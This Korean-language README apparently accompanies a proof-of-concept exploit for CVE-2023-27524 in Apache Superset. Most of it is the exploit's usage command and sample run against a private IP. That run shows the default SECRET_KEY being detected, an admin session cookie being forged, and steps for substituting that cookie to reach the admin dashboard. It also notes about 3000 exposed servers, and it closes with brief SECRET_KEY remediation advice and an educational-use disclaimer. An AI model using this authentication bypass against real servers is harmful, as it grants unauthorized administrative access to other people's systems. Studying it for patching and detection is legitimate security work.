
완전히 새로운 CVE-2023-27524에 대한 PoC로, 인증 우회 및 관리자 대시보드에 대한 접근 권한 획득을 가능하게 합니다.
Apache Superset 서버가 (CVE-2023-27524)에 취약한지 확인하고, 취약하다면 user_id = 1 (일반적으로 admin 사용자)로 세션 쿠키를 위조하여 인증을 우회하고 대시보드에 접근할 수 있는 스크립트입니다. 현재 전 세계적으로 약 3000대의 서버가 Apache Superset을 실행 중입니다.
usage: python3 CVE-2023-27524.py --url URL
% python3 CVE-2023-27524.py --url http://10.1.221.202:8080
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
Now visit the url: `http://10.1.221.202:8080/superset/welcome` and replace the current session cookie with this `eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg` and refresh the page and we will be logged in as admin to the dashboard
여기 지침에 따라 Flask SECRET_KEY를 생성하고 구성하세요. superset CLI 도구를 사용하여 기존 데이터베이스 연결 정보를 유지하면서 SECRET_KEY를 교체할 수 있습니다.
이 POC는 교육 목적으로만 제작되었습니다.